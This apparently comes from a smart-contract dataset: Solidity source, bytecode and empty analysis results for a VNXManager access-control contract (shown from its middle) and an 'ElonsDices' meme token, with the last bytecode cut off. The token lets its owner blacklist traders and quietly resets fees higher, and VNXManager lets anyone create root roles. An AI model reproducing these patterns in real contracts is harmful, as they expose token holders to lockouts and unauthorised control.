be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** @title VNXManager @author Eugene Rupakov <eugene.rupakov@vnx.io> @notice Implements runtime configurable Role Based Access Control, Contract Management. */ contract vnxManager is IRBAC, Ownable { /** * @dev Throws if called by any account other than the admin */ modifier onlyAdmin() { require(isAdmin(), "RBAC: caller is not the admin"); _; } /** * @dev Returns true if the caller is the admin role */ function isAdmin() public view returns (bool) { return hasRole(msg.sender, 0); } function transferContractOwnership(address targetContract, address newOwner) onlyAdmin external returns(bool) { require(targetContract != address(0), "Target contract cannot be zero address"); require(newOwner != address(0), "newOwner cannot be zero address"); Ownable c = Ownable(targetContract); require(c.owner()!=newOwner, "New owner should differ from current"); c.transferOwnership(newOwner); return true; } uint256 constant NO_ROLE = 0; /** * @notice A role, which will be used to group users. * @dev The role id is its position in the roles array. * @param description A description for the role. * @param admin The only role that can add or remove bearers from * this role. To have the role bearers to be also the role admins * you should pass roles.length as the admin role. * @param bearers Addresses belonging to this role. */ struct Role { string description; uint256 admin; mapping (address => bool) bearers; } /** * @notice All roles ever created. */ Role[] public roles; /** * @notice The contract constructor, empty as of now. */ constructor() public { addRootRole("Superadmin"); } /** * @notice Create a new role that has itself as an admin. * msg.sender is added as a bearer. * @param _roleDescription The description of the role created. * @return The role id. */ function addRootRole(string memory _roleDescription) public returns(uint256) { uint256 role = addRole(_roleDescription, roles.length); roles[role].bearers[msg.sender] = true; emit BearerAdded(msg.sender, role); } /** * @notice Create a new role. * @param _roleDescription The description of the role created. * @param _admin The role that is allowed to add and remove * bearers from the role being created. * @return The role id. */ function addRole(string memory _roleDescription, uint256 _admin) public returns(uint256) { require(_admin <= roles.length, "Admin role doesn't exist."); uint256 role = roles.push( Role({ description: _roleDescription, admin: _admin }) ) - 1; emit RoleCreated(role); return role; } /** * @notice Retrieve the number of roles in the contract. * @dev The zero position in the roles array is reserved for * NO_ROLE and doesn't count towards this total. */ function totalRoles() external view returns(uint256) { return roles.length - 1; } /** * @notice Verify whether an account is a bearer of a role * @param _account The account to verify. * @param _role The role to look into. * @return Whether the account is a bearer of the role. */ function hasRole(address _account, uint256 _role) public view returns(bool) { return _role < roles.length && roles[_role].bearers[_account]; } /** * @notice A method to add a bearer to a role * @param _account The account to add as a bearer. * @param _role The role to add the bearer to. */ function addBearer(address _account, uint256 _role) external { require( _role < roles.length, "Role doesn't exist." ); require( hasRole(msg.sender, roles[_role].admin), "User can't add bearers." ); require( !hasRole(_account, _role), "Account is bearer of role." ); roles[_role].bearers[_account] = true; emit BearerAdded(_account, _role); } /** * @notice A method to remove a bearer from a role * @param _account The account to remove as a bearer. * @param _role The role to remove the bearer from. */ function removeBearer(address _account, uint256 _role) external { require( _role < roles.length, "Role doesn't exist." ); require( hasRole(msg.sender, roles[_role].admin), "User can't remove bearers." ); require( hasRole(_account, _role), "Account is not bearer of role." ); delete roles[_role].bearers[_account]; emit BearerRemoved(_account, _role); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80638f32d59b1161008c578063bfda4a4911610066578063bfda4a4914610393578063e65cd6e314610441578063f2fde38b1461048f578063f6169705146104d3576100cf565b80638f32d59b14610276578063a02be77114610298578063b6db75a014610371576100cf565b806359f5a164146100d45780635c97f4a214610150578063715018a6146101b6578063790e118c146101c057806380fce6a5146101de5780638da5cb5b1461022c575b600080fd5b610136600480360360408110156100ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105a2565b604051808215151515815260200191505060405180910390f35b61019c6004803603604081101561016657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108f3565b604051808215151515815260200191505060405180910390f35b6101be610976565b005b6101c8610aaf565b6040518082815260200191505060405180910390f35b61022a600480360360408110156101f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610abe565b005b610234610d14565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61027e610d3d565b604051808215151515815260200191505060405180910390f35b61035b600480360360408110156102ae57600080fd5b81019080803590602001906401000000008111156102cb57600080fd5b8201836020820111156102dd57600080fd5b803590602001918460018302840111640100000000831117156102ff57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610d9b565b6040518082815260200191505060405180910390f35b610379610eca565b604051808215151515815260200191505060405180910390f35b6103bf600480360360208110156103a957600080fd5b8101908080359060200190929190505050610edc565b6040518080602001838152602001828103825284818151815260200191508051906020019080838360005b838110156104055780820151818401526020810190506103ea565b50505050905090810190601f1680156104325780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b61048d6004803603604081101561045757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fa5565b005b6104d1600480360360208110156104a557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111f2565b005b61058c600480360360208110156104e957600080fd5b810190808035906020019064010000000081111561050657600080fd5b82018360208201111561051857600080fd5b8035906020019184600183028401116401000000008311171561053a57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611278565b6040518082815260200191505060405180910390f35b60006105ac610eca565b61061e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f524241433a2063616c6c6572206973206e6f74207468652061646d696e00000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156106a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061158f6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f6e65774f776e65722063616e6e6f74206265207a65726f20616464726573730081525060200191505060405180910390fd5b60008390508273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a957600080fd5b505afa1580156107bd573d6000803e3d6000fd5b505050506040513d60208110156107d357600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff161415610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061156b6024913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663f2fde38b846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156108d057600080fd5b505af11580156108e4573d6000803e3d6000fd5b50505050600191505092915050565b60006001805490508210801561096e57506001828154811061091157fe5b906000526020600020906003020160020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b61097e610d3d565b6109f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006001808054905003905090565b6001805490508110610b38576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f526f6c6520646f65736e27742065786973742e0000000000000000000000000081525060200191505060405180910390fd5b610b603360018381548110610b4957fe5b9060005260206000209060030201600101546108f3565b610bd2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f557365722063616e27742061646420626561726572732e00000000000000000081525060200191505060405180910390fd5b610bdc82826108f3565b15610c4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4163636f756e7420697320626561726572206f6620726f6c652e00000000000081525060200191505060405180910390fd5b6001808281548110610c5d57fe5b906000526020600020906003020160020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fd81f2841f8b3997e1937995d307db36db75c385165bbad7916db26732d8ccb17826040518082815260200191505060405180910390a25050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7f611353565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b6000600180549050821115610e18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f41646d696e20726f6c6520646f65736e27742065786973742e0000000000000081525060200191505060405180910390fd5b6000600180604051806040016040528087815260200186815250908060018154018082558091505090600182039060005260206000209060030201600090919290919091506000820151816000019080519060200190610e7992919061149f565b506020820151816001015550500390507f5ae7bf8c4c39be741ec8e27386e1453106504ca4b4351e28065a5ca97415d430816040518082815260200191505060405180910390a18091505092915050565b6000610ed73360006108f3565b905090565b60018181548110610ee957fe5b9060005260206000209060030201600091509050806000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f955780601f10610f6a57610100808354040283529160200191610f95565b820191906000526020600020905b815481529060010190602001808311610f7857829003601f168201915b5050505050908060010154905082565b600180549050811061101f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f526f6c6520646f65736e27742065786973742e0000000000000000000000000081525060200191505060405180910390fd5b611047336001838154811061103057fe5b9060005260206000209060030201600101546108f3565b6110b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f557365722063616e27742072656d6f766520626561726572732e00000000000081525060200191505060405180910390fd5b6110c382826108f3565b611135576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4163636f756e74206973206e6f7420626561726572206f6620726f6c652e000081525060200191505060405180910390fd5b6001818154811061114257fe5b906000526020600020906003020160020160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690558173ffffffffffffffffffffffffffffffffffffffff167f18dd68c3b9a992261fefcaa58c659f0a628d54692027be4c0662c2365fbb819a826040518082815260200191505060405180910390a25050565b6111fa610d3d565b61126c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6112758161135b565b50565b60008061128a83600180549050610d9b565b9050600180828154811061129a57fe5b906000526020600020906003020160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167fd81f2841f8b3997e1937995d307db36db75c385165bbad7916db26732d8ccb17826040518082815260200191505060405180910390a250919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806115456026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106114e057805160ff191683800117855561150e565b8280016001018555821561150e579182015b8281111561150d5782518255916020019190600101906114f2565b5b50905061151b919061151f565b5090565b61154191905b8082111561153d576000816000905550600101611525565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734e6577206f776e65722073686f756c64206469666665722066726f6d2063757272656e7454617267657420636f6e74726163742063616e6e6f74206265207a65726f2061646472657373a265627a7a72315820d929c177a56f545851761fda3954181d30aa68c3ef5825a77ce76b4e2bf80bdf64736f6c63430005110032
{"success": true, "error": null, "results": {}}
1,086
0xd96fadd4843ed24c44ff464d45464cbc1cac138e
// https://t.me/elonsdices // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ElonsDices is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ElonsDices"; string private constant _symbol = "DICES"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 8; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 100000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600a81526020017f456c6f6e73446963657300000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffff